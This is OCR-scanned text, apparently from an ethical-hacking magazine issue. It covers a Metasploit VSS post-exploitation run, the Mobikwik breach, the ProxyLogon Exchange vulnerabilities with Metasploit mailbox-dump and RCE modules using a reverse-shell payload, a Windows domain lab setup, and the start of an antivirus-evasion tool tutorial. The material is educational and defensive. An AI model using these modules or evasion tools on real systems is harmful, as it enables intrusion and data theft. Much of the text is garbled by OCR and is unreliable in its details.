We have tested this on Windows 7 SP1 x64. We got a meterpreter session on the target

IWindows system, elevated to SYSTEM privileges and sent it to background. Then loaded the
post/windows/manage/vss module.

msfb > use post/windows/manage/vss
msf6 post(windows/manage/vss) > show options

Module options (post/windows/manage/vss):

Name Current Setting Required Description

RHOST Llocalhost Target address range

SESSION yes The session to run this
module on.

SMBDoma1in no The Windows domain to u
se for authentication

SMBPass no The password for the sp
ecified username

SMBUser no The username to authent
Lcate as

TIMEOUT 60 Timeout for WMI command
LN seconds

Post action:

Name Description

VSS_GET_INFO Get VSS information

he default POST action is set to VSS GET INFO. This will give us information about VSS
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service on the target. We set the session ID of the elevated meterpreter session.

Post action:

Name Description

VSS GET INFO Get VSS information

msf6 post(windows/manage/vss) > set session 1
session => 1
msf6 post(windows/manage/vss) > set session 2
session => 2

e execute the module to get the VSS information of the target.

msf6 post(windows/manage/vss) > run

Volume Shadow Copy service not running. Starting it now...
Volume Shadow Copy started successfully.
Software Shadow Copy service not running. Starting it now...
. +] Software Shadow Copy started successftully.
+] Shadow Copy Storage Data

AllocatedSpace

MaxSpace

UsedSpace

Post module execution completed
msf6 post(windows/manage/vss) > J}

IAs can be seen, there's not much information here.
V'
\ T v v
Q. Did Mobikwik really suffer a data breach Cards, credit Lcard detallst mgblle phone num-
2 Is it true? bers etc and is of 8.2 1B In size.

Although security researchers like Elliot
Anderson (Robert Baptiste) and Troy Hunt
have concluded that the breach may be genui
-ne, Mobikwik has flatly denied these allegatio
-ns and even started legal proceedings
against Rajaharia whom it termed as " media
crazed security researcher”.

If you are a victim of this data breach,
then you should be beware of hacking and sp
-amming efforts.

. Yes. Many security experts are of the opin
ion that Mobikwik suffered a data breach alth
-ough Mobikwik stresses that no data breach
ccurred. The breach was reported by indepe
ndent security researcher Rajashekhar Raja-
haria in early March.
This is being considered the largest data
breach of India as around data belonging to a
round 110 million users is exposed. The exp
-0sed data includes KYC documents, Aadhar
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EVERYTHING YOU WANT TO KNOW ABOUT PROXY LOGON

PROXY LOGON

/‘

he Proxy Logon vulnerability has been in the news recently. This vulnerability impacts the

icrosoft Exchange Server. It is estimated that over 250000 exchange service are victims of
his vulnerability.
The Proxy Logon exploit is related to the four zero day vulnerabilities that are detected in the
lexchange server in December last year. On December 10 2020, Orange Tsai, security resea
-rcher working in DEVCORE, discovered that attackers can combine some vulnerabilities in
I:he exchange server to achieve remote code execution on the target and upload a webshell
o it. The four vulnerabilities are,

1. CVE-2021-26855: SERVER SIDE REQUEST FORGERY

There is a Server-Side Request Forgery (SSRF) vulnerability in the Exchange Server that all-
ows remote attackers to gain admin access once exploited. This can be exploited by sending
la specially crafted web request to a vulnerable Exchange Server. The web request contains
an XML SOAP payload directed at the Exchange Web Services (EWS) API endpoint. This re
-quest bypasses authentication using specially crafted cookies This vulnerability, combined
with the knowledge of a victim's email address, means the attacker can exfiltrate all emails
from the target's Exchange mailbox.

2. CVE-2021-26857: REMOTE CODE EXECUTION VULNERABILITY

There is a post-authentication insecure deserialization vulnerability in the Unified Messaging
Eervice of a Exchange Server that allows commands to be run with SYSTEM privileges. The

YSTEM account is used by the operating system and services that run under Windows. As
readers have seen many times in our Magazine, a SYSTEM account in Windows has full per
-missions by default. A hacker can either steal credentials or use the above mentioned vulne
rability to execute arbitrary commands on a vulnerable Exchange Server in the security
icontext of SYSTEM.

3. CVE-2021-26858 AND CVE-2021-27065

These two vulnerabilities are post-authentication arbitrary file write vulnerabilities that allow
[attackers to write files to any path on a vulnerable Exchange Server. A malicious hacker can
lalso exploit the previously mentioned SSRF vulnerability to achieve admin access and then
xploit this vulnerability to write web shells to virtual directories (VDirs). These virtual director
-ies are published to the internet by the server's Internet Information Server (11S). 1S is Micro
-soft's web server, which is a dependency that is installed with Exchange Server and provide
-s services for Outlook on the web, previously known as Outlook Web Access (OWA), Outloo
-k Anywhere, ActiveSync, Exchange Web Services, Exchange Control Panel (ECP), the Offli
-ne Address Book (OAB) and Autodiscover.

IAccording to Microsoft, these vulnerabilities were first exploited by HAFNIUM, a Chinese gov
-ernment sponsored APT(Advanced Persistent Threat) but operates outof China. This group
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IS known to install the web shell named China Chopper. As of 12th March 2021, at least 9 ot-
her hacker groups were trying to exploit these vulnerabilities apart from HAFNIUM. The
ulnerable versions to these vulnerabilities are,
Exchange Server 2019 < 15.02.0792.010
Exchange Server 2019 < 15.02.0721.013
Exchange Server 2016 < 15.01.2106.013
Exchange Server 2013 < 15.00.1497.012

he exploit is named Proxy Logon as it exploits the proxy architecture and login mechanism
in the Exchange Server.

How to detect these vulnerabilities

Metasploit has already added exploit modules related to these vulnerabilities. Let's have a lo-
ok at these modules.
msf6 > search proxylogon

Matching Modules

Disclosure D
Check Description

© auxiliary/gather/exchange_proxytogon collector 2021-03-02
normal No Microsoft Exchange ProxylLogon Collector
1 exploit/windows/http/exchange_proxylogon rce 2021-03-02
Yes Microsoft Exchange ProxyLogon RCE
2 auxiliary/scanner/http/exchange_proxylogon 2021-03-02
normal No Microsoft Exchange ProxyLogon Scanner

he auxiliary/gather/exchange proxylogon_collector module exploits the CVE-2021-26855
ulnerability and dump all the contents of the mailboxes.

msfb > use 0
msf6 auxiliary(gather/exchange proxylogon collector) > show option
S

Module options (auxiliary/gather/exchange_proxylogon_collector):

Name Current Settin Required Description

ATTACHMENTS Dump documents attache
d to an email
EMAIL The email account what
you want dump
FOLDER The email folder what
you want dump
METHOD POST yes HTTP Method to use for
the check (only). (Ac
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you want dump

METHOD HTTP Method to use for
the check (only). (Ac
cepted: GET, POST)

Proxies A proxy chain of forma
t type:host:port[,type
host:port][...]

RHOSTS The target host(s), ra
nge CIDR identifier, o
r hosts file with synt
ax 'file:<path>'

RPORT The target port (TCP)

SSL Negotiate SSL/TLS for
outgoing connections

TARGET Force the name of the
internal Exchange serv
er targeted

VHOST HTTP server virtual ho

Auxiliary action:

Name Description

Dump (Emails) Dump user emails from exchange server

msf6 auxiliary(gather/exchange proxylogon collector) > B

he exploit/windows/http/exchange proxylogon rce module exploits the CVE-2021-26855
ulnerability to bypass authentication and gain admin access and then writes a arbitrary file t
the target using CVE-2021-27065 to achieve remote code execution. All the above mentio
ned versions are vulnerable by default.

msfb > use 1
Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/http/exchange proxylogon rce) > show oprions
-] Invalid parameter "oprions”, use "show -h" for more informatio

n
msf6 exploit(windows/http/exchange proxylogon rce) > show options

Module options (exploit/windows/http/exchange_proxylogon_rce):

Name Current Settin Required Description

EMAIL A known email addres
s for this organizat
Lon

METHOD HTTP Method to use f
or the check (Accept
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ed: GET, POST)
Proxies A proxy chain of for
mat type:host:port[,
type:host:port][...]
RHOSTS The target host(s),
range CIDR identifie
r, or hosts file wit
h syntax 'file:<path

>

RPORT The target port (TCP
)

SRVHOST The local host or ne
twork interface to 1
isten on. This must
be an address on the

Llocal machine or 0.
0.0.0 to Listen on a
Ll addresses.

SRVPORT The local port to 11
sten on.

SSL Negotiate SSL/TLS fo
r outgoing connectio
ns

SSLCert Path to a custom SSL

certificate (defaul
t is randomly genera

ted)
URIPATH The URI to use for t
his exploit (default
1s random)
UseAlternateP false Use the IIS root dir

ath as alternate path
VHOST HTTP server virtual
host

Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process Exit technique (Accepted
: ', seh, thread, proce
SS, none)

LHOST The listen address (an 1
nterface may be specifie
d)

LPORT 4444 The listen port
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he auxiliary/scanner/http/exchange_proxylogon module checks for the CVE-2021-26855
ulnerability that makes Exchange Servers vulnerable.

msfé > use 2
msfb6 auxiliary(scanner/http/exchange proxylogon) > show options

Module options (auxiliary/scanner/http/exchange_proxylogon):
Current Setting Required Description

METHOD POST HTTP Method to use for th

e check. (Accepted: GET,
POST)

Proxies A proxy chain of format t
ype:host:port[,type:host:
port][...]

RHOSTS The target host(s), range

CIDR identifier, or host
s file with syntax 'file:
<path>'

RPORT 443 The target port (TCP)

SSL true Negotiate SSL/TLS for out
going connections

THREADS 1 The number of concurrent
threads (max one per host

)
VHOST HTTP server virtual host

msf6 auxiliary(scanner/http/exchange_proxylogon) > §

Microsoft has released a security update on March 2021 to patch these vulnerabilities in Ex
-change Server versions mentioned above. Applying these patches should fix these vulnerab
-lities. As soon as Microsoft released these security updates, hacker groups around the worl
-d went on a scanning spree to hunt for unpatched Exchange Servers.

As there was a delay in applying patches, Microsoft also released a one-click mitigation
tool that fixed these vulnerabilities in Exchange Servers. Microsoft has also noted that this to-
ol named Microsoft Exchange On-Premises Mitigation Tool (EOMT) is helpful for those organ
-izations that don't have a dedicated IT security staff. This tool also includes the Microsoft Sa
-fety Scanner and a URL Rewrite mitigation for CVE-2021-26855. However, it stressed that
this tool is not an alternative for applying the released security patches. The download link of
the tool is given in our Downloads section.

Earlier Microsoft released another script ExchangeMitigations.ps1 to mitigate the vulnera
-bilitues. Microsoft has already released a Powershell script to check for the vulnerability of
the Exchange Servers. The download information of this script is also given in our Download-
S section.

Despite all these measures, it is estimated that numerous Exchange Servers were com-
promised prior to the detection of these zero -days and the organizations that were victims of
this will have to look after security of their networks carefully. The organizations still unpatche
-d should apply patches as soon as possible.
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4 WINDOWS DOMAIN ACTIVE DIRECTORY LAB

HACKING LAB

/

In Ethical Hacking, penetration testers face different scenarios. Different scenarﬁ
os need different Labs fro practice. Only when a user practices in different scenarios
will he get hands on experience of these scenarios. Some of these labs are available
online. However, they are quite expensive. Another way of creating these labs is to bu
y hardware like computers and switches. We at Hackercool Magazine decided to star
t this new section in which we will be giving our readers some practical experience o
f creating various hacking labs. One of the reasons we want to do this is give a head-

up to our readers about our own Real World Hacking Scenarios. Unlike the other lab-
s, we will be using virtualized software for this. We hope readers will enjoy this feaﬂj‘

-e too just like other Features of this Magazine.

here are two ways a Windows computer can be connected in a network. They are Domain
and Workgroup. If you are a home user of Windows, you are by default connected in Work

roup network by default.

Most companies use Windows Domain network. According to a report, 90% of Fortune
|1 000 companies use Windows Domain controllers or the domain network.

What is the difference between a Domain and a Workgroup? In a Workgroup, all the
mputers act as peers. Each computer can have user accounts which are known as local u-
er accounts. In a domain, there is usually one computer that acts as a domain controller. Th
is domain controller acts as a server to the other computers which act as clients. In a domai
n, there are domain users and no local users.

For local users, the username and their encrypted password is stored on his own
mputer, whereas in a domain, the username and encrypted password are stored on the do
main controller. In a domain, you can login into another computer that belongs to the domai-
without the requirement of any account on that computer.

Companies normally use domain networks because it simplifies the administration of the-
e computers from a single domain controller. Imagine maintaining security of hundreds of
m -puters present in the network by visiting each and every computer. That would be an
ercul -ean task.

In a domain, he can just control the security and permissions for all the computers in the
omain from a domain controller. As a penetration tester, your job will definitely involve worki
ng in a Windows domain. So our Magazine too needs a Windows domain lab for pen testing
ractice. In this month's Issue, our readers will be learning how to create a Windows Domain
ab in VMware or virtualbox.

To create this lab, readers need two windows iso files. One to act as a domain controller an-
other to act as a client. We will be using Windows Server 2008 R2 as Server and Windows
as client. Since Windows 7 Home Basic or Home Premium are built for home users, they c-
nnot be used to join a domain. We need to have windows 7 Professional at least. We will

e using Windows 7 Enterprise as client.

Once both the software are downloaded, install them both in your favorite virtualization
oftware. For this tutorial, we will be using VMware. Since our readers have seen installing
indows 7 many times, we will not be covering it in this tutorial. We have installed Windows
erver 2008 r2 in Vmware with the following configuration.
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New Virtual Machine Wizard

Ready to Create Virtual Machine

Click Finish to create the virtual machine. Then you can install Windows
Server 2008 R2 x64,

The virtual machine will be created with the following settings:

Name: Windows Server 2008 R2 x64
) F:\KalyanVMs\Windows Server 2008 R2 x64
Workstation 15.x
: Windows Server 2008 R2 x64

40 GB, Split
2048 MB
NAT

CD/DVD, USB Controller, Printer, Sound Card

Once the Windows Server is installed and the virtual machine reboots, it will prompt you to c-
ange the password of the user. The default user in windows server 2008 is Administrator.

» Windows Server xos
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lick on OK and Enter the new password.

Administrator

N

Wiunie & peereuryd omeel ek

Once you are logged in into the Windows Server, click on Start Menu and go to Administrativ
e Tools and select the Server Manager.

his will open the Server Manager window as shown below.
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In the Server Manager window, click on Roles. This will allow users to install new roles on th-
e Windows Server. Click on "Add Roles".

’ “eryrer Manager N '] x
Fle Acton WVew Heb
o« > @

[
e e
T -
Featires
+ B Dagrosacs - view the health of the roles nstaled on your server and add or remove roles and featires
¢+ gl Configusaton y
+ 9 Storage
* Roles Summary E Roses Summar y Hep
® Raben 0o/ Dtonied Lo x|
B Remove Rokes
« | ﬂ (3 Last Refresh: Today at 1:27PM Configure refresh

IClick on "Next". This will display the available roles on the Server as shown in the image give
-n below.
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Add Roles Wizard

ﬁ Select Server Roles

Before You Begn Select one or more roles to install on this server.
Roles:
Confrmaton | | Active Directory Certificate Services
Progress il Actve Drectory Domain Services
| | Active Drrectory Federation Services
Results

Active Drectory Lightweight Directory Services
Active Drectory Rights Management Services
Appication Server

DHCP Server

| DNS Server

Fax Server
Fle Services

| Hyper-V

Network Policy and Access Services
Print and Document Services
Remote Desktop Services

Web Server (T1S)

Windows Deployment Services

| Windows Server Update Services

Select one or more roles to install on this server,
Roles:

Description:

Active mﬂg &an Services (AD
RS)stores on about objects

on the network and makes this
information available to users and
network administrators. AD DS uses
domain controllers to give network
users access to permitted resources
anywhere on the network through a
singlelogon process.

Active Drectory Certificate Services

R \ctve Drectory Doman Services|

Active Drectory Federation Services

Active Directory Lightweight Directory Services
Active Drectory Rights Management Services
Application Server

DHCP Server

DINS Server

Fax Server

Fie Services

Hyper -V

Network Policy and Access Services

Print and Document Services

Remote Desktop Services

Web Server (115)

Windows Deployment Services

L Windows Server Update Services

< Previous || Next > | I

ISelect the Active Directory Domain Services role and click on "Next".

Description:

DS)stores ﬁﬂuﬂnn about objects

on the network and makes this
information available to users and
network administrators. AD DS uses
domain controllers to give network
users access to permitted resources
anywhere on the network through 2
single logon process.
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Iln the window that opens, click on "Add Required Features”.

Add Roles Wizard

x|

Progress
ke “-...5 Add features required for Active Directory Domain Services? and

You cannot instal Active Drectory Doman Services unless the raquired features are also installed s

Features Descapton

- NET Framework 3.5 1 Features Emmﬂ.ﬂﬂ.&mg:ﬁ;_mmem ugh a

the power of the N ramework 2 0 APls
NET Framework 3.5.1 with new tec for building

apphicabons that appealing user
interfaces  protect your customers personal
identity information, enable seamless and
secure communicabon, and provide the
ability to model a range of business
processes

(i) Why are these features required? 4

]

IClick on " Next".

Add Roles W ard . -,

ﬁ Active Directory Domain Services

Before You Begn Introduction to Active Directory Domain Services

Server Roles Active Directory Doman Services (AD DS) stores nformation about users, computers, and other devices on the
network. AD DS helps adminstrators securely manage this nformation and faciitates resource sharing and

T tuta gl  cotsboraton between users. AD DS 15 aiso requred for drectory-enabied appkcations such as Mcrosoft
Exchange Server and for other Windows Server technologees such as Group Policy.

Confirmaton

Progress Things to Note

— i To help ensure that users can stil log on to the network in the case of a server outage, nstall a mrwmum of

two doman controllers for a domain.

i AD DS requires a DNS server to be installed on the network. If you do not have a DNS server installed, you
wil be prompted to install the DNS Server role on this server,

i After you nstal the AD DS role, use the Active Drectory Doman Services Installation Wizard
(dcpromo.exe) to make the server a fully functional doman controller.

i Instaling AD DS will aiso nstall the DFS Namespaces, DFS Replication, and Fie Replication services which
are requred by Dvectory Service.

Querview of AD DS
instaling AD DS
Commen Configuratons for AD DS
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IConfirm your selection by clicking on "Install”.

Add Roles Wurard

ﬁ Confirm Installation Selections

RPN To instal the folowng roles, role services, or features, dick Instal.
Server Roles
Active Dveciory Domsin Servicss (D 2 nformational messages below

ijf' Thes server mght need to be restarted after the nstallabon completes.
Progress ~ Active Directory Domam Services
Resuts (i) After you install the AD DS role, use the Active Directory Domain Services Installation Wizard

(dcpromo.exe) to make the server a flly functional doman controller,
A _NET Framework 3.5.1 Features
MNET Framework 3.5.1
Brnt, e-mad, or save thes nformation

|IAfter the installation is finished, Click on "Close".

ﬂ Installation Results

Before You Begn
E The following roles, role services, or features were nstalled successfdly:
Server Roles
- . 1 1warmng, 1 nformatonal messages below
Confrmation 1§, Windows automatic updating is not enabled. To ensure that your newly nstalled role or feature is
——  automatcally updated, turn on Windows Update in Control Panel.

~ Active Directory Domain Services OMM
The following role services were nstalled:
Active Directory Domain Controller

(J) Use the Active Directory Doman Services Installation Wizard (dcpromo.exe) to make the server a
fully functional doman controler.

Close thes wazard and launch the Active Drectory Doman Servwces Installation Wizard (dcpromo.exe).

~ NET Framework 1.5.1 Features omw

The following features were nstaled:
MNET Framework 1.5.1
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ow in the Server Manager you can see the Active Directory Domain Services is installed. H
wever, the installation is not yet complete. Click on Active Directory Domain Services

ighlighted below.

[Bernetonee —
Fie Aton  Vew Meb
—
L JEEall ° |
[ Server Marager (WIN-S-8820) N
- 5 Raoles
. ‘Emhmrma -
. Featreq 4 vew the healt of B roes rataled o your s e nd sdd o remove o and featues
. Dagostcs ’
s ! Confgeason -
Stor
_N - ba'ad - “m Eowi urvea ) MDD
~ Moles: | of 17 retaled 2B A Rowes
Ll.-nhilﬂ
@ Atoe Deector, Domar S e
© Active Dwectory Domam Services B ©oswen
Stores Srector y ABtE 8d MAnaged (OMTLrs aTon Deteee utert 8nC domerd . NOUNg e 0QoN rocesset . BUTher BCebon . and dr et ¢ el Chey
~ "8 Go 1o Actve Drectory Doman
Role Status ﬂhwﬂ
} vessages |
O System Gerowes 4 uveg, & Stopped
Events: hore e last 24 hours
St Practoes Anaiyser: To start & Best Practosy Aralyier ioar. Qo 0 the Baqt Practicss Analvae
e o B role's homepape d 3o S0 e Row
* Nole Servicew: | ratsled iuum
[3 I B Gemoe Rowe Serces
Acwee Dwector y Domar Controbe s et
Ldertty Marage-wnt for UMD Yact rumler
Lo Yo Neteors Indormabor Serovet Mot ratales
Fasgword Sy oruaton faot ke
Adewwsty ation Toom taot rutaked
Descnpt:on :Il
| - (3 Last Refesh: Today ot 1:29PM  Configure refresh
’__ . /- M A——— r r -

IYou can see the message that the server is not yet running. Click on the right side part of the
Lnessage to start the active directory domain services installation wizard. The installation can
Iso be started by running the command dcpromo.exe.

s > H
e e
- ' Roles

+'Emmm—-

M Feshs g Stores drecior y dats o manages ComrLrCaton Deteeen user s and domaers . Doy user ogon rocemees, RS ertcation, and drectory
- [ war ey

+ B Dagrostc '
¢ | Corfigur ston
S e C Sunnany

|_l.' This server ig not yet runmeng 04 8 domasn controlier. Bun the Active Dwectory Domasn Services [matallation Wizard [Scprome aee

* fwemts: More n Me st 14 heury D) Go o Event Vewer

£ Number of events: 0 b Fer Bveres

[ | vt [ Oate i Tee [Sowee | ——

~ W) System Services: 4 Furwg, © Stopped

S v

- DF5 harempece
« OF5 Rephcabon

« Fle Sephcpton nthy
QMM B o

?l‘-—i—-—-- Ve Pl des ©esbes b

Oescptonr: )
Q Lawt Bedegh Todey ot | WP Configre refresh
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IThe Active Directory Domain Services installation wizard starts. Click on " Next".

|ﬁm-|‘*

rﬁ" rim B

lhmwmﬂmlﬂ Actin

- ) Rokes
+ 1F Actve Drectory Doman Se ehve Directory Domain Sarvions St ) :d S

Featres . » Suhanticaton, -y

ORgrasics ; Welcome to the Active Directory
::*""" Domain Services Installation
e Wizard

Wizerd [decprome exe )
Thes wazard beips you ratad Actrve [eectory Doman

Seraces (AD U5} on tha server maunyg the server a0
Actrve Dwectiory doma cortroler To contnue ook Nemt

[ Une scdvarced mode ratakaponr

Leam more about the addtorsl optors hat are
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(3 Last Refresh: Today at 1:30 PM wm«m
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Improved securty settings r Windows Server 2008 ard Windows Server 2008 R2
aMect cider vermors of Windows
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1 Windows Server 2008 and “Windows Server 2008 RZ” doman cortrollers have &
rew more secure defaull for the secusty setting ramed ~Mlow
compatible wih Windows NT 4 0 ° Ths settng preverts Mcrosolt nl b co w0 Event viewer
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Descriphuon: _
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IWhiIe choosing the deployment configuration, select option to create a new domain in a new
fforest. Click on "Next".

Fle  Acdion  Vew e

| —_

- >m @

1 G e Mg [WIN-SHMELDC LI R e T

wy Lnmam Seew ey Insl allation Wirard H.I . avanication, and drectory

Tou can creste 8 dorman cortroler lor on exsting forest or for 8 new forest i
r m“ Werard (depromo ewne )
£ 13§ dompr |

iﬁlﬂhl‘-ﬂ'ﬂl"
p Fiter Events

F Froper bes

(3 Last Refresh: Today st 1:30PM  Configure refresh

IGive a name to your domain. We named our domain as corp.okaava.com for example.

1*““%“3}]“ Adtrve Derectory Doma
2 Rowes

g Stores drector y data and manages commurscabon between users and domans, Noudng user Ogon rocesses, authen tcabon, and drectory
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ard [dcpromo. exe ).

tre forest

Tyoe the hully qualfed doman name (FUDN) of the new forest oot doman 1o Event Viewer

"
s Ty

W el ae s W=

(3 Last Refresh: Today ot 1:4PM  Configure refresh
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lSet the forest functional level to windows Server 2008 R2 and click on Next.

.. w Twerr Fanager i = I:'m
Fle Acton Vew Heb
o 2
T Server Marager (Win-S+28200 [0
= B Roles
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ﬁ | e ches
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When we install a virtual machine on VMware, by default it is given NAT NETWORK with IP
faddress assigned automatically. Keep the default options.

Y Tmy———
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lE adapter. Such stasc P asmgrment should be dore 1 8l the physcal network adapters for
redatye Doman Name S pstem oper abor
Do vou weant 1o continue wthout msgrwg statc P address(es)’
B the computer will use an IP address automatically assigned by a DHCP server
A Mo, | will asvgn state 1P addresses to all physeal network adapters.
| ) e about configung TOPIP and DNS Clent seitngs,
> O » More sbout padtong doman Cortrober ootong
ilﬂ-h
+ DFS Mam
. DFS Regl
. Degtrinte
L Fie Regh < Back I et > |
°In-'ﬂ - - - -
‘ b Pl i T ——— ol [ —— R ] 'Tf

‘| | 3| €3 et Retesh: Today st 1:90PM Configure refresh

| [ _i
IClick on Next.

H-_? Vew Help - - - - - - T
«w 7 B3 ) |
o Server Manager (Wi aee 20 [T

- -2

3 Eauu - g Stores deectory dala and manages commurscabon betwesn users and domars, Noluding use logon processes, authenicabon, and drectory

# g Dagnostcs LR "

& CW'“ L T e [ hres tory Deaveaen Servn s st allaton Wioard Hl &

- a—

— A SUMMATYY | ocation for Detabase. Log Files, and SYSVOL |
. Specfy T fouders 1l will Cortan e Active Dectony domasr Cortrober -
'_il This server detabase log fles and STYSVOL _1_ jard (dcpromo.eme )
R For betler periommance and recoversbity. o the detabese and kog fles on sepete P—
7 Numi wokmey L—hrtl &l
0 : b
[ Windows N TS| trowse |
Log fes folder
r_ Wirdows NTDS Browse I
SYSVOL folder
F Windows ' SYSVOL brme I
More sbout Gacng Acve Drectony Doman Servce fies
~ &} Syste o Ser ey
amn _
El :’sw - tart
.. Destribute
L Pl Regh ﬂ .—H'llllllll
ﬂt’-—-‘.—u-- = [ g W R - el [ [ T I‘Tf
Desapbon: ) ) :l
< | 31| Ch Last Refresh: Today at 1:4178 Configure refresh
i | |

39 | Hackercool Magazine | Mar 2021



ISet the directory services restore mode administrator password and Click on "Next".
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tiry Umrmiam serve es sl allatson Wi sed . jord (dcprome axe)

The wizard 8 corfiguang Actve Dweciory Doman Services Tha process can take
froem 8 few muutes 1o seversl houn depending on your envetrvnent and the oobons o Event Viewer

Nl you selected E:“

02

e

~ 53 Syste
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« DFS Mam

« DFSRepd
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[Once the Active Directory Domain Services Installation is finished, click on Finish.

@' Active Directory Domain Services Installation Wizard r _X_II

Completing the Active Directory
Domain Services Installation

Wizard
Active Directory Domain Services is now installed on this « |
er for the domain "com okaava com”

Active Directory domain controller is assigned to the
e "Default-First-Stte-Name". You can manage sites
the Active Directory Sttes and Services

: tool.

To close this wizard, click Finish.

¢ Back I Finish I Cancel I

41 | Hackercool Magazine | Mar 2021



Once you do this, you will be prompted to restart the system. Restart the system.

—— - a0l
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+ ! Corfiguaton -
B 53 Tape ~ Summary
'i]_l Thes server 15 nOt pet runmng a3 8 doman controlier. Run the Active Directory Domain Services Installation Wigzerd (dgpromo eme)
~ 1 tvents: 2 warwigs, 20 rformational n the last 24 hours. Ok Retesh Events to update. "0 Go o Event Viewsr
' Number of events: 7) h_‘""""‘
@' A trve Dwreclory Domam Services IHI ] .. Prapertes
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b . o
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As the system reboots and takes you to the login screen, you should see the login screen as
shown below. The name of the domain comes first and then the username.

CORP\Agaministrator

———————

» Windows Server s
“Swarciard

he Domain services installation is completed. Do one last thing. Crate a new Host Only net-
ork and change the domain controller to this different network on Vmware as done in our pr
avious Issues. Also disable the DHCP server for this network.
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ogin into the Server and set the static IP address to the server from Control Panel > Networ
and Internet > Network Connections.

m:fp-wm'mwm-mm-

- | Search Network Connectons

Organize *  Disable this network device  Diagnose this connection  Rename this connection  View status of this connection » =

(8 ool Ares Connecton Propertes N
Networking |
Connect using:

Iﬁi irtel(R) PRO/1000 MT Network Connection

This connection uses the following tems: _ i
& ™ Chort for Mcrosoht Networks In the w.lndow that opens, sele;t Internet Prt_:toc

QoS Packet Scheduler -ol Version 4 (TCP/IPv4)and click on Properties
Fle and Prnter Shanng for Microsoft Networks bUttOn.

v 4 Intemet Protocol Version 6 (TCP/1PvE)

Mt Piocol Verson 4 (TGP /1Pvd)

¥ . Unk-Layer Topology Discovery Mapper 1/O Driver

¥ .4 Link-Layer Topology Discovery Rasponder

Internet Protocol Version 4 (TCP/1Pv4 ) Properties 9 | -u_x_'l

Gcnrdl

You can get IP settings assigned automatically if your network supports
this capabiity. Otherwise, you need to ask your network administrator

for the appropriate [P setbings.

" Obtan an 1P address automaticaly
(5 Use the following IP address:
IP address: N .10.8.1

Subnet mask: 29 .0 .0 .0

Set the IP address, subnet mask and assign | | “®#eer

the DNS server address. We set the IP O Obain DNS server address autometica
address to 10.10.10.1 and subnet mask as (5 Use the folowing DNS server addresses:
255.0.0.0. Click on "OK". Preferred DNS server: 0 .10 . 1 . 1
Alternate DNS server:
[ vaidate settngs upon ext Advanced...
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e Windows Server is ready. It's time to set the client. Move the Windows 7 Enterprise/Prof-
essional to the same network as that of Windows Server 2008 R2 and assign a IP address, d
fault gateway and DNS server as shown below.

General

You can get IP settings assigned automatically if your network supports
this capability. Otherwise, you need to ask your network administrator
for the appropriate [P settings.

) Obtain an IP address automatically

@ Use the following IP address: Set IP address as 10.10.10.2 and
0 .10 .10 . subnet mask as 255.0.0.0. Set the

default gateway and preferred DNS

server to 10.10.10.1, the IP address
0.0.9. of the Windows Server 2008.

Obtain DNS server address automatically
@ Use the following DNS server addresses:
Preferred DNS server: D B .

&5 . 0,

Alternate DNS server:

| validate settings upon exit

In the windows 7 Enterprise system, Go to Control Panel > System and Security > System S-

ettings. Here you can see the computer name, domain and workgroup settings. Click on
Change settings".

— W

_[ﬁlmlﬂth“ﬁhwq-h- o bgll rams Comomn Poe P
Cnut Pond i View basic informaton about youl computer
% Drce Merager Amdew edtcn
$ Femote werrng Hndcms T Ertenpeae
% ytem protection Copynght € 2000 Mucrosoht Comporation. Al nghts resarved.
oy Ademird 1stem AR Service Pach 1
buiteen
Egteng wrteer cpbing 0 oot . adathe
Procevunr It ®) Core T J-80000U CPU @ 1 90GHr 1 90 e
Instabed memory (RAMY 100 GB
Sy bype L bt Ciperatng Syvhemn
Pen and Touch bie Pem or Touch bnpatt n seasdabie for tha Dupley

Lormputer neme dormaen, nd sorigroug Wthngn
e
Full compader name Wil AL
[ wrpeitms den rplamy
Mo gioup WORLLROUS

L S B

T sy 12 actrate Actroate Nindea fows

' Product I 00X -FLE-W00000] B30 . reoge product by
Actror (eter
Mooy Updety
Fertorrmipre, 4 ol Comateor and

= > L1 TR
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IChange the computer name and make it a member of domain corp.okaava.com.

r

Computer Name/Domain Changes

You can change the name and the membership of this
computer. Changes might affect access to network resources

More irformatior
Computer name
WIN-JUIBAMPRSJ

Full computer name
WIN-3UIBAMPRSJ

Computer Name/Domain Changes

You can change the name and the membership of this

‘.-1"? g s ey 3. g

~ull computer name
Computer-1 comp .okaava com

-

computer. Changes might affect access to network resources

More 1
Member of Member of
Domain @ Domain
| com okaava com
@ Workgroup Workgroup
WORKGROUF |
1

oK |

—,

;
You will be prompted for username and password. Type username as "Administrator" and pa

-ssword as "ABcd1234" (the password we changed for the Windows Server administrator at
the beginning). This user is not on Windows 7 but on Windows Server 2008 R2.

>

Windows Security

Computer Name/Domain Changes

Enter the name and password of an account with permission to rename
this computer in the domain.

User name

sword

Domain: corp.okaava.com

| oK || Cancel |
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|Here, we can see that the client system is connected to the corp.okaava.com.

Computer Name | Hardware | Advanced | System Protection | Remote |

Windows uses the following infformation to identify your computer
on the network .

Computer description: Computer_1

For example: "Kitchen Computer” or “Mary's
Computer”

Full computer name: Computer-1 com okaava com

To use a wizard to join a domain or workgroup, click
Network ID.

To rename this computer or change its domain or
workgroup. click Change.

[, Changes will take effect after you restart this computer.

B [ =

¢
] e

¥

COMPUTER 1\admin

eemes 1o

% Windows /

oila. The Windows Domain Pen test Lab is ready.
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BYPASSING ANTIVIRUS

Dack readers. In our Bypassing Antivirus section of our previous Issues, readers h
ave learned about various methods of bypassing antivirus and different payload generators
hat simplify bypassing antivirus during penetration testing.

In this Issue, our readers will learn about a new tool that can be used during penetration
esting to bypass AntiVirus. Called as AVET or antivirus Evasion tool, this tool's repository c-
an be cloned from Github as shown below.

clone https://github.com/govolution/avet
Cloning into "avet’
remote: Enumerating objects: 704, done.
remote: Counting objects: 100% (/04/7/04), done.
remote: Compressing objects: 100% (1/1/1/1), done.
remote: Total 3170 (delta 546), reused 686 (delta 533), pack-reuse

d 2466
Receiving objects: 100% (3170/3170), 676.70 KiB | 781.00 KiB/s, do

ne.
Resolving deltas: 100% (2289/2289), done.

Once the repository is cloned, the tool can be installed running the ./setup.sh script in the clo
ned avet directory.

avet.py CHANGELOG
banner. txt Dockerfile README.md
setup.sh

build script _tester.py LICENSE
~/avet

+++ Preparing AVEl for use...
+++ Installing wine and wine32

[sudo] password for kali:
Get:1 http://ftp.harukasan.org/kali kali-rolling InRelease [30.5 k

BJ
Get:2 http://ftp.harukasan.org/kali kali-rolling/main 1386 Package

s [17.6 MB]
i

